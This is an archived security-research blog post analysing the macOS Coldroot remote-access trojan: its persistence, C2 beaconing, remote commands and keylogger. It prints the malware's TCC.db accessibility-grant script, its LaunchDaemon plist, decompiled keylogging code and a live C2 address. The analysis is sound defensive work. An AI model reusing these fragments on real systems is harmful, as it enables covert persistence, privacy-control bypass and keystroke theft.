{
	"id": "0bb607c1-9493-42e6-a2ba-c6026c5c23eb",
	"created_at": "2026-04-06T00:07:52.371769Z",
	"updated_at": "2026-04-10T03:30:33.425059Z",
	"deleted_at": null,
	"sha1_hash": "548aa0a912a71c5abb0fa2fb6792253619e88e2a",
	"title": "Tearing Apart the Undetected (OSX)Coldroot RAT",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1713584,
	"plain_text": "Tearing Apart the Undetected (OSX)Coldroot RAT\r\nArchived: 2026-04-05 23:42:44 UTC\r\nTearing Apart the Undetected (OSX)Coldroot RAT\r\n› analyzing the persistence, features, and capabilities of a cross-platform backdoor\r\n02/17/2018\r\nlove these blog posts? support my tools \u0026 writing on patreon :)\r\nWant to play along? I've shared the malware, which can be downloaded here (password: infect3d).\r\nBackground\r\nNext month, I'm stoked to be presenting some new research at SyScan360 in Singapore. Titled, \"Synthetic Reality;\r\nBreaking macOS One Click at a Time\" my talk will discuss a vulnerability I found in all recent versions of macOS\r\nthat allowed unprivileged code to interact with any UI component including 'protected' security dialogs. Though\r\nreported and now patched, it allowed one to do things like dump passwords from the keychain or bypass High\r\nSierra's \"Secure Kext Loading\" - in a manner that was invisible to the user 🙈.\r\nAs part of my talk, I'm covering various older (and currently mitigated) attacks, which sought to dismiss or avoid\r\nUI security prompts. Think, (ab)using AppleScript, sending simulated mouse events via core graphics, or directly\r\ninteracting with the file system. An example of the latter was DropBox, which directly modified macOS's 'privacy\r\ndatabase' (TCC.db) which contains the list of applications that are afforded 'accessibility' rights. With such rights,\r\napplications can then interact with system UIs, other applications, and even intercept key events (i.e. keylogging).\r\nBy directly modifying the database, one could avoid the obnoxious system alert that is normally presented to the\r\nuser:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 1 of 30\n\nThough Apple now thwarts this attack, by protecting TCC.db via System Integrity Protection (SIP) - various\r\nmacOS keyloggers still attempt to utilize this 'attack.' I figured one of these keyloggers would be a good addition to\r\nmy slides as an illustrative example.\r\nHopping over to VirusTotal, I searched for files containing references to the TCC.db database, which returned a\r\nhandful of hits:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 2 of 30\n\nBesides a variety of CounterStrike hacks (csgohack.app), and (known) keyloggers (FreeKeylogger.dmg,\r\nKeyLogger.BlueBlood.A), an unflagged file named com.apple.audio.driver2.app (SHA-256:\r\nc20980d3971923a0795662420063528a43dd533d07565eb4639ee8c0ccb77fdf) caught my eye. It was recently\r\nsubmitted for a scan, in early January.\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 3 of 30\n\nNote: Al Varnell, (@alvarnell), pointed out it's likely that the original file name was com.apple.audio.driver.app,\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 4 of 30\n\nwhich corresponds to internal strings within the binary. Thus we'll refer to this sample's application bundle as\r\ncom.apple.audio.driver.app for the rest of this post.\r\nThough currently no AV-engine on VirusTotal flags this application as malicious, the fact it contained a reference\r\nto (TCC.db) warranted a closer look.\r\n __const:001D2804 text \"UTF-16LE\", 'touch /private/var/db/.AccessibilityAPIEnabled \u0026\u0026 s'\r\n __const:001D2804 text \"UTF-16LE\", 'qlite3 \"/Library/Application Support/com.apple.TCC/'\r\n __const:001D2804 text \"UTF-16LE\", 'TCC.db\" \"INSERT or REPLACE INTO access (service, cl'\r\n __const:001D2804 text \"UTF-16LE\", 'ient, client_type, allowed, prompt_count) VALUES (',27h\r\n __const:001D2804 text \"UTF-16LE\", 'kTCCServiceAccessibility',27h,', ',27h,0\r\nUsing Digita Security's UXProtect, I was also able to easily confirm that Apple has not silently pushed out any\r\nXProtect signatures for the malware (to intrinsically protect macOS users):\r\nDetermining Malice\r\nMy first question was, \"is com.apple.audio.driver.app malicious?\"\r\nThough there is no exact science to arrive at a conclusive answer for this question, several (massive) 'red flags'\r\nstick out here. Flags, that clearly confirm the malicious nature of com.apple.audio.driver.app:\r\nAs mentioned, the application contains a reference to TCC.db. AFAIK, there is no legitimate or benign\r\nreason why non-Apple code should ever reference this file!\r\nThe application is unsigned, though claims to be an \"Apple audio driver\". My WhatsYourSign Finder\r\nextension, will display any signing information (or lack thereof) via the UI:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 5 of 30\n\nThe application is packed with UPX. Though packing a binary doesn't make it malicious per se, it's rare to\r\nsee a legitimate binary packed on macOS:\r\n $ python isPacked.py com.apple.audio.driver.app\r\n scanning com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver\r\n \r\n UPX segments found\r\n binary is packed (packer: UPX)\r\nFor it's main icon, the application uses macOS's standard 'document' icon to masquerade as a document.\r\nThis is common tactic used by malware authors in order to trick user's in running their malicious creations:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 6 of 30\n\nWhen executed, the application displays a standard authentication prompt, requesting user credentials. After\r\nthe user enters their creds, then application performs no other readily visible action. This is not normal\r\napplication behavior:\r\nBehind the scenes the application persists itself as a launch daemon. This is a common method employed by\r\nmalware to ensure that it is automatically (re)started every time an infected system is rebooted. BlockBlock\r\nwill detect this persistence:\r\nAgain, behind the scenes, the application will automatically beacon out to a server. While creating a\r\nnetwork connection is itself not inherently malicious, it is a common tactic used by malware - specifically\r\nto check in with a command \u0026 control server for tasking. LuLu will intercept and alert on this connection\r\nattempt:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 7 of 30\n\nAt this point I was thoroughly convinced that though no AV-engine on VirusTotal flagged\r\ncom.apple.audio.driver.app, it was clearly malicious!\r\nLet's now dive in and reverse it to gain a deeper understanding of its actions and capabilities.\r\nAnalysis\r\nFirst, let's unpack the malware. Since it's packed with UPX, one can trivially unpack it via upx -d:\r\n$ upx -d Contents/MacOS/com.apple.audio.driver\r\n Ultimate Packer for eXecutables\r\n Copyright (C) 1996 - 2013\r\n UPX 3.09 Markus Oberhumer, Laszlo Molnar \u0026 John Reiser Feb 18th 2013\r\n With LZMA support, Compiled by Mounir IDRASSI (mounir@idrix.fr)\r\n File size Ratio Format Name\r\n -------------------- ------ ----------- -----------\r\n 3292828 \u003c- 983040 29.85% Mach/i386 com.apple.audio.driver\r\n Unpacked 1 file.\r\nOnce the malware has been unpacked, one of the first things we notice when reversing its binary, is that it was\r\napparently written in pascal. Though likely done to achieve cross-platform comparability, who the hell writes\r\npascal on macOS!?! Well apparently at least one person!\r\nHow do we know it was likely written in pascal? First, looking at the malware's entry point, main(), we see it\r\ncalling something named FPC_SYSTEMMAIN which in turn invokes a function named PASCALMAIN:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 8 of 30\n\nint _main(int arg0, int arg1, int arg2) {\r\n eax = _FPC_SYSTEMMAIN(arg2, arg1, arg2);\r\n return eax;\r\n }\r\n int _FPC_SYSTEMMAIN(int arg0, int arg1, int arg2) {\r\n *_U_$SYSTEM_$$_ARGC = arg0;\r\n \r\n _SYSTEM_$$_SET8087CW$WORD();\r\n \r\n eax = _PASCALMAIN();\r\n return eax;\r\n }\r\nNote that here, FPC stands for 'Free Pascal Compiler'\r\nOther strings in the binary reference the Free Pascal Compiler (FPC) and reveal the presence of several pascal\r\nlibraries compiled into the malware:\r\n $ strings -a Contents/MacOS/com.apple.audio.driver | grep FPC\r\n \r\n FPC 3.1.1 [2016/04/09] for i386 - Darwin\r\n FPC_RESLOCATION\r\n \r\n TLazWriterTiff - Typhon LCL: 5.7 - FPC: 3.1.1\r\n TTiffImage - Typhon LCL: 5.7 - FPC: 3.1.1\r\nThe malware's malicious logic begins in the aforementioned PASCALMAIN function. Due to the presence of\r\ndebug strings and verbose method names, reversing is actually quite easy!\r\nFirst, the malware loads it 'settings'. It does by first building a path to its settings file, then invoking the\r\nLOADSETTINGS function. If the loading succeeds it logs a \"LoadSettings ok\" message:\r\n __text:00011DD4 call _CUSTAPP$_$TCUSTOMAPPLICATION_$__$$_GETEXENAME$$ANSISTRING\r\n __text:00011DD9 mov eax, [ebp+var_30]\r\n __text:00011DDC lea edx, [ebp+var_2C]\r\n __text:00011DDF call _SYSUTILS_$$_EXTRACTFILEPATH$RAWBYTESTRING$$RAWBYTESTRING\r\n __text:00011DE4 mov eax, [ebp+var_2C]\r\n __text:00011DE7 call _GLOBALVARS_$$_LOADSETTINGS$ANSISTRING$$BOOLEAN\r\n __text:00011DEC test al, al\r\n __text:00011DEE jz short loc_11DFB\r\n __text:00011DF0 lea eax, (aLoadsettingsOk - 11D95h)[ebx] ; \"LoadSettings ok \"\r\n __text:00011DF6 call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 9 of 30\n\nWhere is the malware's setting file? Well if we look at the disassembly we can see it appending \"conx.wol\" to file\r\npath of the malware's binary (e.g com.apple.audio.driver.app/Contents/MacOS/) - and the checking if that file\r\nexists:\r\n __text:000683F3 lea ecx, (aConxWol - 683A2h)[ebx] ; \"conx.wol\"\r\n __text:000683F9 call fpc_ansistr_concat\r\n __text:000683FE mov eax, [ebp+var_14]\r\n __text:00068401 call _SYSUTILS_$$_FILEEXISTS$RAWBYTESTRING$$BOOLEAN\r\nA file monitor (such as macOS's built in fs_usage utility) dynamically reveals the path to this file, as the malware\r\nopens and reads it during execution:\r\n # fs_usage -w -f filesystem\r\n access (___F) com.apple.audio.driver.app/Contents/MacOS/conx.wol\r\n open F=3 (R_____) com.apple.audio.driver.app/Contents/MacOS/conx.wol\r\n flock F=3\r\n read F=3 B=0x92\r\n close F=3\r\nOpening the settings file, \"conx.wol\", reveals the malware's configuration (in plaintext JSON):\r\n $ cat com.apple.audio.driver.app/Contents/MacOS/conx.wol\r\n {\r\n \"PO\": 80,\r\n \"HO\": \"45.77.49.118\",\r\n \"MU\": \"CRHHrHQuw JOlybkgerD\",\r\n \"VN\": \"Mac_Vic\",\r\n \"LN\": \"adobe_logs.log\",\r\n \"KL\": true,\r\n \"RN\": true,\r\n \"PN\": \"com.apple.audio.driver\"\r\n }\r\nThe meaning of the settings can be ascertained by their abbreviation and/or value. For example, 'PO' is port (HTTP,\r\n80), 'HO' is host (attacker's command \u0026 control server at 45.77.49.118). 'MU' is likely 'mutex', while 'VN' is the\r\nname of the victim. The 'LN' value is the name of the log file for the keylogger ('KL'). I'm guessing 'RN' is for run\r\nnormal - meaning the implant can run as a default user (vs. root). Finally 'PN' is the process name of the malware.\r\nOnce the malware has loaded its setting from conx.wol, it persistently installs itself. The logic for the install is\r\ncontained in the '_INSTALLMEIN_$$_INSTALL' function:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 10 of 30\n\n__text:00011E12 lea eax, (aInstallInit - 11D95h)[ebx] ; \"Install init \"\r\n__text:00011E18 call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING\r\n__text:00011E1D call _INSTALLMEIN_$$_INSTALL$$BOOLEAN\r\nThe '_INSTALLMEIN_$$_INSTALL' performs the following steps:\r\n1. copies itself to /private/var/tmp/\r\n2. builds a launch daemon plist in memory\r\n3. writes it out to com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver.plist\r\n4. executes /bin/cp to install it into the /Library/LaunchDaemons/ directory\r\n5. launches the newly installed launch daemon via /bin/launchctl\r\nThe 'template' for the launch daemon plist is embedded directly in the malware's binary:\r\nOnce saved to disk we can easily dump the plist's contents:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 11 of 30\n\n$ cat /Library/LaunchDaemons/com.apple.audio.driver.plist ?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e Labelcom.apple.audio.driverProgram/private/var/tmp/com.apple.audio.driver.app\n /Contents/MacOS/com.apple.audio.driverProgramArguments/private/var/tmp/com.apple.audio.driver.app\n /Contents/MacOS/com.apple.audio.driverKeepAliveRunAtLoadUserNameroot As the RunAtLoad key is set to true, the OS will automatically start the malware anytime the infected system is\nrebooted.\nWe can dynamically watch the install unfold by simply running the malware, whilst ProcInfo (my open-source\nprocess monitor), is running:\n # ./procInfo\n //copy self to /private/var/tmp/\n process start:\n pid: 1222\n path: /bin/cp\n user: 501\n args: (\n \"/bin/cp\",\n \"-r\",\n \"~/Desktop/com.apple.audio.driver.app/Contents/MacOS/../..\",\n \"/private/var/tmp/com.apple.audio.driver.app\"\n )\n //copy launch daemon plist to /Library/LaunchDaemons\n process start:\nhttps://objective-see.com/blog/blog_0x2A.html\nPage 12 of 30\n\npid: 1230\r\n path: /bin/cp\r\n user: 0\r\n args: (\r\n \"/bin/cp\",\r\n \"~/Desktop/com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver.plist\",\r\n \"/Library/LaunchDaemons\"\r\n )\r\n //launch daemon instance\r\n process start:\r\n pid: 1231\r\n path: /bin/launchctl\r\n user: 0\r\n args: (\r\n \"/bin/launchctl\",\r\n load,\r\n \"/Library/LaunchDaemons/com.apple.audio.driver.plist\"\r\n )\r\nAs previously noted, this persistent install attempt will trigger a BlockBlock alert:\r\nThe astute reader will have noted that the install (copy) operation and launching of the daemon is executed as root\r\n(user: 0). The malware accomplishes this by executing these operation via it's\r\n_LETMEIN_$$_EXEUTEWITHPRIVILEGES$$BOOLEAN function.\r\nReversing this function reveals it simply invokes Apple's AuthorizationExecuteWithPrivileges function. 'Under the\r\nhood' the OS invokes /usr/libexec/security_authtrampoline in order to execute the specified process as root\r\n(security_authtrampoline is setuid):\r\n # ./procInfo\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 13 of 30\n\nprocess start:\r\n pid: 1232\r\n path: /usr/libexec/security_authtrampoline\r\n user: 501\r\n args: (\r\n \"/usr/libexec/security_authtrampoline\",\r\n \"/bin/launchctl\",\r\n \"auth 3\",\r\n start,\r\n \"/Library/LaunchDaemons/com.apple.audio.driver.plist\"\r\n )\r\nOf course in order for AuthorizationExecuteWithPrivileges to succeed, user credentials are required and must be\r\nentered via an OS authentication prompt. The malware hopes the naive user will simply enter such credentials:\r\nBesides persistently installing itself as a launch daemon, the '_INSTALLMEIN_$$_INSTALL' function also\r\nattempts to provide the malware with accessibility rights (so that it may perform system-wide keylogging). In order\r\nto gain such rights the malware first creates the /private/var/db/.AccessibilityAPIEnabled file and then modifies the\r\nprivacy database TCC.db, The former affords accessibility rights on older versions of macOS.\r\nThe logic to enable accessibility rights, can be found in a bash script that the malware creates in\r\n/private/var/tmp/runme.sh:\r\n $ cat /private/var/tmp/runme.sh\r\n #!/bin/sh\r\n touch /private/var/db/.AccessibilityAPIEnabled \u0026\u0026\r\n sqlite3 \"/Library/Application Support/com.apple.TCC/TCC.db\" \"INSERT or\r\n REPLACE INTO access (service, client, client_type, allowed, prompt_count)\r\n VALUES ('kTCCServiceAccessibility', 'com.apple.audio.driver', 0, 1, 0);\"\r\nThough this script is executed as root, on newer versions of macOS (Sierra+) it will fail as the privacy database is\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 14 of 30\n\nnow protected by SIP:\r\n $ sw_vers\r\n ProductName: Mac OS X\r\n ProductVersion: 10.13.3\r\n $ ls -lartO@ /Library/Application\\ Support/com.apple.TCC/TCC.db\r\n -rw-r--r-- 1 root wheel restricted /Library/Application Support/com.apple.TCC/TCC.db\r\nHowever, on older versions of OSX/macOS the malware will gain accessibility rights:\r\nAt this point, the malware is now fully persistently installed and will be started as root, each time the infected\r\nsystem is (re)started:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 15 of 30\n\nLet's now look at the malware's features and capabilities.\r\nEach time the malware is up and running it performs two main tasks:\r\n1. kicks off keylogging logic\r\n2. checks in with the command \u0026 control server and performs any received tasking\r\nThe keylogging logic (referred to as 'keyloser'), is started when the malware executes\r\n_KEYLOSER$_$TKEYLOGGERTHREAD_$__$$_CREATE$$TKEYLOGGERTHREAD from PASCALMAIN.\r\nThe keylogger thread eventually invokes a function at 0x0006a950 which starts the actual keylogging logic.\r\nLooking at its decompilation, it's easy to see that the malware is using Apple's CoreGraphics APIs to capture key\r\npresses:\r\n int sub_6a950(int arg0, int arg1, int arg2, int arg3, int arg4) {\r\n eax = CGEventTapCreate(0x1, 0x0, 0x0, 0x1c00, 0x0, sub_6a3d0);\r\n if (eax != 0x0) {\r\n CFRunLoopAddSource(CFRunLoopGetCurrent(),\r\n CFMachPortCreateRunLoopSource(**_kCFAllocatorDefault, var_4, 0x0), **_kCFRunLoopCommonModes);\r\n CGEventTapEnable(0x1, 0x1);\r\n CFRunLoopRun();\r\n }\r\n ...\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 16 of 30\n\nreturn eax;\r\n }\r\nAnd speaking of keylogging via CoreGraphics APIs, I'm actually also talking about this in my SyScan360 talk:\r\nAs we can see in the malware's code and my slide, to capture keystrokes: simply create an 'event tap', enable it, and\r\nadd it to the current runloop (note that root/accessibility is requires to capture all key presses). Now, any time the\r\nuser generates a key event, the OS will automatically call the callback function that was specified in the call to\r\nCGEventTapCreate. For the malware, this is sub_6a3d0.\r\nThe code in the sub_6a3d0 function simply formats and logs the key press to file specified in the \"LN\" value of\r\nsettings file: adobe_logs.log.\r\nBy 'tailing' the keylogger's log file, we can observe it in action...for example, logging my banking credentials:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 17 of 30\n\nOnce the keylogging thread is off and running, kicks off the main client thread via a call to\r\nCONNECTIONTHREAD$_$TMAINCLIENTTHREAD_$__$$_CREATE$BOOLEAN$$TMAINCLIENTTHREAD.\r\nThis first opens a connect to the malware's command \u0026 control server whose IP address and port are specified in\r\nthe malware's settings file, conx.wol:\r\n $ cat com.apple.audio.driver.app/Contents/MacOS/conx.wol\r\n {\r\n \"PO\": 80,\r\n \"HO\": \"45.77.49.118\",\r\n ...\r\n }\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 18 of 30\n\nOnce a connection has been made, the OSX/Coldroot gathers some information about the infected host and sends it\r\nto the server. The survey logic is implemented in a function at address 0x000636c0, which calls various functions\r\nsuch as 'GETHWIDSERIAL', 'GETUSERNAME', and 'GETRAMSIZEALL':\r\n int sub_636c0() {\r\n ...\r\n _OSFUNCTIONS_$$_GETHWIDSERIAL$$ANSISTRING();\r\n \r\n _OSFUNCTIONS_$$_GETUSERNAME$$ANSISTRING();\r\n \r\n _OSFUNCTIONS_$$_GETOS$$ANSISTRING();\r\n \r\n _OSFUNCTIONS_$$_GETRAMSIZEALL$$INT64();\r\n \r\n }\r\nThese functions invoke various macOS utilities such as sw_vers, uname, and id to gather the required information:\r\n # ./procInfo\r\n //get OS version\r\n process start:\r\n pid: 1569\r\n path: /usr/bin/sw_vers\r\n user: 501\r\n args: (\r\n \"/usr/bin/sw_vers\"\r\n )\r\n //get architecture\r\n process start:\r\n pid: 1566\r\n path: /usr/bin/uname\r\n user: 501\r\n args: (\r\n \"/usr/bin/uname\",\r\n \"-m\"\r\n )\r\n //get user name\r\n process start:\r\n pid: 1567\r\n path: /usr/bin/id\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 19 of 30\n\nuser: 501\r\n args: (\r\n \"/usr/bin/id\",\r\n \"-F\"\r\n )\r\nIn a debugger (lldb), we can set a breakpoint on send and then dump the bytes being sent to the command \u0026\r\ncontrol server:\r\n lldb com.apple.audio.driver.app\r\n (lldb) target create \"com.apple.audio.driver.app\"\r\n Current executable set to 'com.apple.audio.driver.app' (i386).\r\n (lldb) b send\r\n (lldb) r\r\n \r\n Process 1294 stopped\r\n * thread #5, stop reason = breakpoint 1.1\r\n frame #0: 0xa766a39f libsystem_c.dylib`send\r\n (lldb) x/3x $esp\r\n 0xb0596a9c: 0x00173a6d 0x00000003 0x03b2d1a8\r\n (lldb) x/100bx 0x03b2d1a8\r\n 0x03b2d1a8: 0x70 0x75 0x3f 0x00 0x48 0x6f 0x59 0xb0\r\n 0x03b2d1b0: 0x8e 0x8a 0x02 0x00 0x8c 0x75 0x3f 0x00\r\n 0x03b2d1b8: 0xae 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n 0x03b2d1c0: 0xad 0xde 0x02 0x00 0x00 0x00 0x00 0x00\r\n 0x03b2d1c8: 0x00 0x00 0x00 0x00 0x7b 0x22 0x56 0x65\r\n 0x03b2d1d0: 0x72 0x22 0x3a 0x31 0x2c 0x22 0x52 0x41\r\n 0x03b2d1d8: 0x4d 0x22 0x3a 0x30 0x2c 0x22 0x43 0x41\r\n 0x03b2d1e0: 0x4d 0x22 0x3a 0x66 0x61 0x6c 0x73 0x65\r\n 0x03b2d1e8: 0x2c 0x22 0x53 0x65 0x72 0x69 0x61 0x6c\r\n 0x03b2d1f0: 0x22 0x3a 0x22 0x78 0x38 0x36 0x5f 0x36\r\n 0x03b2d1f8: 0x34 0x5c 0x6e 0x22 0x2c 0x22 0x50 0x43\r\n 0x03b2d200: 0x4e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x75\r\n 0x03b2d208: 0x73 0x65 0x72 0x5c\r\n \r\n (lldb) x/s 0x03b2d1cc\r\n 0x03b2d1cc: \"{\"Ver\":1,\"RAM\":0,\"CAM\":false,\"Serial\":\"x86_64\\n\",\"PCName\":\r\n \"user\\n - user\",\"OS\":\"Mac OS X10.13.2\",\"ID\":\"Mac_Vic\",\"AW\":\"N\\/A\",\"AV\":\"N\\/A\"}\"\r\nNote that the malware actually prints this out to stdout as well:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 20 of 30\n\n(lldb) c\r\n JSON Packet : {\"Ver\":1,\"RAM\":0,\"CAM\":false,\"Serial\":\"x86_64\\n\",\"PCName\":\r\n \"user\\n - user\",\"OS\":\"Mac OS X10.13.2\",\"ID\":\"Mac_Vic\",\"AW\":\"N\\/A\",\"AV\":\"N\\/A\"}\r\n PC info sent ..\r\nIf we allow the malware to continue, we can also capture this same data in a network monitoring tools such as\r\nWireShark:\r\nYou might be wondering why in the survey data sent to the command \u0026 control server, 'Serial' is set to x86_64 or\r\nwhy the'RAM' is set to 0.\r\nWell to generate the value for 'Serial', the malware executes uname with the -m flag...which return the architecture\r\nof the system (not the serial, which could be retrieved via something like: ioreg -l | grep IOPlatformSerialNumber).\r\nFor determining the amount of RAM, the malware invokes a function called 'GETRAMSIZEALL'...this simply\r\nreturns 0:\r\n int _OSFUNCTIONS_$$_GETRAMSIZEALL$$INT64()\r\n {\r\n return 0x0;\r\n }\r\nOnce OSX/Coldroot has checked in, it will process any tasking returned from the command \u0026 control server. The\r\nlogic for this is implemented in the\r\n_NEWCONNECTIONS_$$_PROCESSPACKET$TIDTCPCLIENT$TIDBYTES function. This function parses\r\nout the command from the command \u0026 control server, and then processes (acts upon) it.\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 21 of 30\n\nIn disassembled code, this looks like the following:\r\n __text:000691F7 call _CONNECTIONFUNC_$$_BYTEARRAYTOMAINPACKET$TIDBYTES$$TMAINPACKET\r\n __text:000691FC mov eax, [ebp+command]\r\n __text:000691FF test eax, eax\r\n __text:00069201 jl loc_6986B\r\n __text:00069207 test eax, eax\r\n __text:00069209 jz loc_692C9\r\n __text:0006920F sub eax, 2\r\n __text:00069212 jz loc_692D9\r\n __text:00069218 sub eax, 1\r\n __text:0006921B jz loc_6935E\r\n __text:00069221 sub eax, 2\r\n __text:00069224 jz loc_69374\r\n __text:0006922A sub eax, 1\r\n __text:0006922D jz loc_693EC\r\n __text:00069233 sub eax, 1\r\n __text:00069236 jz loc_694AA\r\n __text:0006923C sub eax, 2\r\n __text:0006923F jz loc_695A2\r\n ...\r\nVia static analysis, we can determine what commands are supported by the malware. Let's look at an example of\r\nthis.\r\nWhen the malware receives command #7 from the command \u0026 control server, it executes the logic at 0x000694aa.\r\nIn the same block of code it contains the debug string \"Delete File : \", a call to function named\r\n'DELETEFILEFOLDER', and other debug string, \"{{{{ Delete OK Lets test }}}}\":\r\n __text:000694DA lea edx, (aDeleteFile - 6914Bh)[ebx] ; \"Delete File : \"\r\n __text:000694E0 lea eax, [ebp+var_D8]\r\n __text:000694E6 call fpc_unicodestr_concat\r\n __text:000694EB mov eax, [ebp+var_D8]\r\n __text:000694F1 call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING\r\n __text:00069504 mov eax, [ebp+var_A4]\r\n __text:0006950A call _FILESFUNC_$$_DELETEFILEFOLDER$UNICODESTRING$$BOOLEAN\r\n __text:00069548 lea eax, (aDeleteOkLetsTe - 6914Bh)[ebx] ; \"{{{ Delete OK Lets test }}}\"\r\n __text:0006954E call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING\r\nProbably safe to guess command #7 is the delete file (or directory) command! But let's confirm.\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 22 of 30\n\nThe 'DELETEFILEFOLDER' function calls\r\n_LAZFILEUTILS_$$_DELETEFILEUTF8$ANSISTRING$$BOOLEAN which in turn calls\r\n_SYSUTILS_$$_DELETEFILE$RAWBYTESTRING$$BOOLEAN which finally calls unlink (the system call to\r\ndelete a file or directory).\r\nRepeating this process for the other commands reveals the following capabilities:\r\nfile/directory list\r\nfile/directory rename\r\nfile/directory delete\r\nprocess list\r\nprocess execute\r\nprocess kill\r\ndownload\r\nupload\r\nget active window\r\nremote desktop\r\nshutdown\r\nAll are self-explanatory and implemented in fairly standard ways (i.e. delete file calls unlink), save perhaps for the\r\nremote desktop command.\r\nWhen the malware receives a command from the server to start a remote desktop session, it spawns a new thread\r\nnamed: 'REMOTEDESKTOPTHREAD'. This basically sits in a while loop (until the 'stop remote desktop'\r\ncommand is issued), taking and 'streaming' screen captures of the user's desktop to the remote attacker:\r\n while ( /* should capture */ ) {\r\n ...\r\n _REMOTEDESKTOP_$$_GETSHOT$LONGINT$LONGINT$WORD$WORD$$TIDBYTES(...);\r\n \r\n _CONNECTIONFUNC_$$_CLIENTSENDBUFFER$TIDTCPCLIENT$TIDBYTES$$BOOLEAN();\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 23 of 30\n\n_CLASSES$_$TTHREAD_$__$$_SLEEP$LONGWORD();\r\n }\r\nIt should be noted that if no command or tasking is received from the command \u0026 control server, the malware will\r\nsimply continue beaconing...interestingly, sending the name of the user's active window in each heartbeat:\r\n$ cat /private/var/tmp/com.apple.audio.driver.app/Contents/MacOS/conx.wol\r\n{\"PO\":1337,\"HO\":\"127.0.0.1\",\"MU\":\"CRHHrHQuw JOlybkgerD\",\"VN\":\"Mac_Vic\",\r\n \"LN\":\"adobe_logs.log\",\"KL\":true,\"RN\":true,\"PN\":\"com.apple.audio.driver\"}\r\n//local listener\r\n// note: non-printable characters removed\r\n$ nc -l 1337\r\n{\"Ver\":1,\"RAM\":0,\"CAM\":false,\"Serial\":\"x86_64\\n\",\"PCName\":\"user\\n - user\",\r\n \"OS\":\"Mac OS X10.13.2\",\"ID\":\"Mac_Vic\",\"AW\":\"N\\/A\",\"AV\":\"N\\/A\"}\r\n...\r\nCalculator\r\nSafari\r\nTerminal\r\nAlright, that wraps up our reversing sessions of OSX/Coldroot. Let's now discuss some other interesting aspects of\r\nthe malware, such as its author, source-code, and business model!\r\nColdroot\r\nOnce the technical analysis of the malware was complete, I began googling around on the search term: Coldzer0.\r\nLooking at the disassembly of OSX/Coldroot we can see this string embedded in the binary, purportedly\r\nidentifying the author's handle:\r\n _NEWCONNECTIONS_$$_FINALIZY proc near\r\n push ebp\r\n mov ebp, esp\r\n lea esp, [esp-8]\r\n mov [ebp+var_4], ebx\r\n call $+5\r\n pop ebx\r\n lea eax, (aCodedByColdzer - 6992Fh)[ebx] ; \"Coded By Coldzer0 / Skype:Coldzer01 \"\r\n call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING\r\n mov ebx, [ebp+var_4]\r\n mov esp, ebp\r\n pop ebp\r\n retn\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 24 of 30\n\nBesides revealing the likely identify of the malware author, this turns up:\r\nsource code for an old (incomplete) version of Coldroot\r\nan informative demo video of the malware\r\nThe source code, though (as noted), is both old and incomplete - provides some confirmation of our analysis. For\r\nexample, the PacketTypes.pas file contains information about the malware's protocol and tasking commands:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 25 of 30\n\nThe demo video is rather neat as it provides further insight into Coldroot, visually illustrating how an attacker can\r\nbuild (and customize) deployable agents:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 26 of 30\n\n...and also how they can be remotely interacted with, and tasked:\r\nThe video also confirms the fact that Coldroot is indeed a fully cross-platform 'remote admin tool' (RAT):\r\nIf you have some extra time on your hands, check the video, courtesy of Coldzer0:\r\nIn terms of the (apparent) hacker's plans for the Coldroot, he stated in the comments both its release date\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 27 of 30\n\n(1/1/2017) and that fact that it would be for sale:\r\nConclusions\r\nIn this blog post we provided a comprehensive technical analysis of the macOS agent of the cross-platform RAT\r\nOSX/Coldroot. Thought not particularly sophisticated, it's rather 'feature complete' and currently undetected all AV-engines on VirusTotal. Moreover, it is a good illustrative example that hackers continue to target macOS!\r\nAnd remember if you want to stay safe, running the latest version of macOS will definitely help! For one, (due to a\r\nbug in UPX?) the OS refuses to even run the malware:\r\n $ lldb com.apple.audio.driver.app\r\n (lldb) r\r\n error: error: ::posix_spawnp ( pid =\u003e 1256, path = 'com.apple.audio.driver.app')\r\n err = Malformed Mach-o file (0x00000058)\r\nAlso, as mentioned Apple now protects TCC.db via SIP, so the system-wide keylogging capabilities of\r\nOSX/Coldroot should be mitigated.\r\nMoreover, my free tools such as BlockBlock and LuLu can generically thwart such threats :)\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 28 of 30\n\nAnd if you are worried that you are infected, look for an unsigned launch daemon running out of /private/var/tmp/.\r\nKnockKnock can help with this 